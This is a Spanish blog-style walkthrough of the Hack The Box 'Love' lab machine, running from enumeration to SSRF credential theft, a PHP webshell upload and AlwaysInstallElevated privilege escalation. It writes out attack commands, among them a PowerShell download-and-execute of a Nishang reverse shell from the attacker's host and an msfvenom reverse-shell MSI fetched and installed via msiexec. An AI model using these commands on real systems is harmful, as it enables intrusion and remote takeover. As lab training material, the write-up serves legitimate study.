En este post voy a vulnerar la máquina Love de Hack The Box. Es una máquina Windows de nivel fácil, con una vulnerabilidad web del tipo SSRF, una webshell por Image Upload y una escalada de privilegios basada en la política de Windows AlwaysInstallElevated.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 10.10.10.239

En la máquina hay quince puertos abiertos. Escaneo los nueve primeros puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p80,135,139,443,445,3306,5000,5040,7680 -sCV 10.10.10.239 Starting Nmap 7.91 ( https://nmap.org ) at 2022-04-09 19:19 CEST Nmap scan report for 10.10.10.239 Host is up (0.11s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 |_http-title: Voting System using PHP 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 |_http-title: 403 Forbidden | ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in | Not valid before: 2021-01-18T14:00:16 |_Not valid after: 2022-01-18T14:00:16 |_ssl-date: TLS randomness does not represent time | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql? | fingerprint-strings: | NULL, SSLSessionReq: |_ Host '10.10.14.6' is not allowed to connect to this MariaDB server 5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27) |_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 |_http-title: 403 Forbidden 5040/tcp open unknown 7680/tcp open pando-pub? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3306-TCP:V=7.91%I=7%D=4/9%Time=6251C01B%P=x86_64-pc-linux-gnu%r(NUL SF:L,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.6'\x20is\x20not\x20allowed SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessionReq, SF:49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.6'\x20is\x20not\x20allowed\x SF:20to\x20connect\x20to\x20this\x20MariaDB\x20server"); Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 38m03s, deviation: 0s, median: 38m03s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2022-04-09T18:00:11 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 176.98 seconds
Como se está smb está abierto en el puerto 445, lanzo un escaneo con crackmapexec para verificar el sistema operativo y descubro que se trata de un Windows 10 de 64 bits.
crackmapexec smb 10.10.10.239

HTTP
Puerto 80
Echo un vistazo a las cabeceras con whatweb y veo que se está ejecutando un software llamado Voting System y que utiliza php.
whatweb -a 3 http://10.10.10.239:80/

Entro a la web y llego a una ventana de autenticación. Pruebo unas cuantas credenciales por defecto pero no ninguna funciona.

Puerto 443
La salida de nmap muestra el dominio staging.love.htb para este puerto así que lo añado al fichero /etc/hosts.
Al entrar en la web llego a una ventana de autenticación llamada Free File Scanner. Pruebo unas cuantas credenciales por defecto pero no ninguna funciona.

Entro el la sección Demo y me lleva a beta.php donde hay un campo que me pide una url.

Explotación
Después de varias pruebas, se me ocurre comprobar el puerto 5000 de la máquina ya que me prohíbe el acceso de forma externa (SSRF).


Y la respuesta me da las credenciales admin:@LoveIsInTheAir!!!! para Voting System.
Vuelvo a Voting System y utilizo las credenciales que he obtenido.


Navego un poco pero no encuentro nada. Sin embargo, al hacer clic en el nombre de usuario me parece una opción de actualizar (update) que me lleva a un formulario para actualizar el perfil de administrador.

La foto de perfil es el primer objetivo que me viene a la mente ya que es una oportunidad para subir algo. Como la web está funcionando sobre php, subo un script simpe de webshell en php.

Una vez subida, me doy cuenta de que no he hecho fuzzing de directorios ocultos y no se a donde se ha subido la webshell, así que hago una búsqueda rápida con nmap y encuentro el directorio /images.
nmap -p80 --script http-enum 10.10.10.239

Entro en la ruta http://10.10.10.239/images/ y encuentro el fichero de la webshell.

Entro en la webshell y ejecuto el comando whoami para comprobar que funciona.

Como ya tengo una webshell, el siguiente paso es obtener una shell reversa.
Primero utilizo el script /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 (renombrandolo a ps.ps1) y al final del todo pongo el código Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 7897, que me dará la shell reversa por netcat.
Luego habilito un servidor web en python y pongo un netcat a la escucha por el puerto 7897 y por último ejecuto el siguiente comando por la webshell
powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.6:8080/ps.ps1')


La flag de usuario la encuentro en la ruta C:\Users\Phoebe\Desktop\user.txt.

Escalada de Privilegios
Realizo una búsqueda con WinPEAS y encuentro que la política de AlwaysInstallElevated está habilitada (mas info aquí).
powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.6:8080/winPEASx64.exe','winPEASx64.exe')"
./winPEASx64.exe

Resumiendo, esta política me permite escalar privilegios por medio de un fichero MSI malicioso. Creo el fichero malicioso con msfvenom para obtener una shell reversa por el puerto 7897.
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.6 LPORT=7897 -f msi -o rev.msi

Lo subo a la máquina víctima.
powershell -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.14.6:8080/rev.msi','rev.msi')"

Pongo un netcat a la escucha por el puerto 7897 y ejecuto el binario malicioso.
msiexec /quiet /qn /i rev.msi


La flag de administrador la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

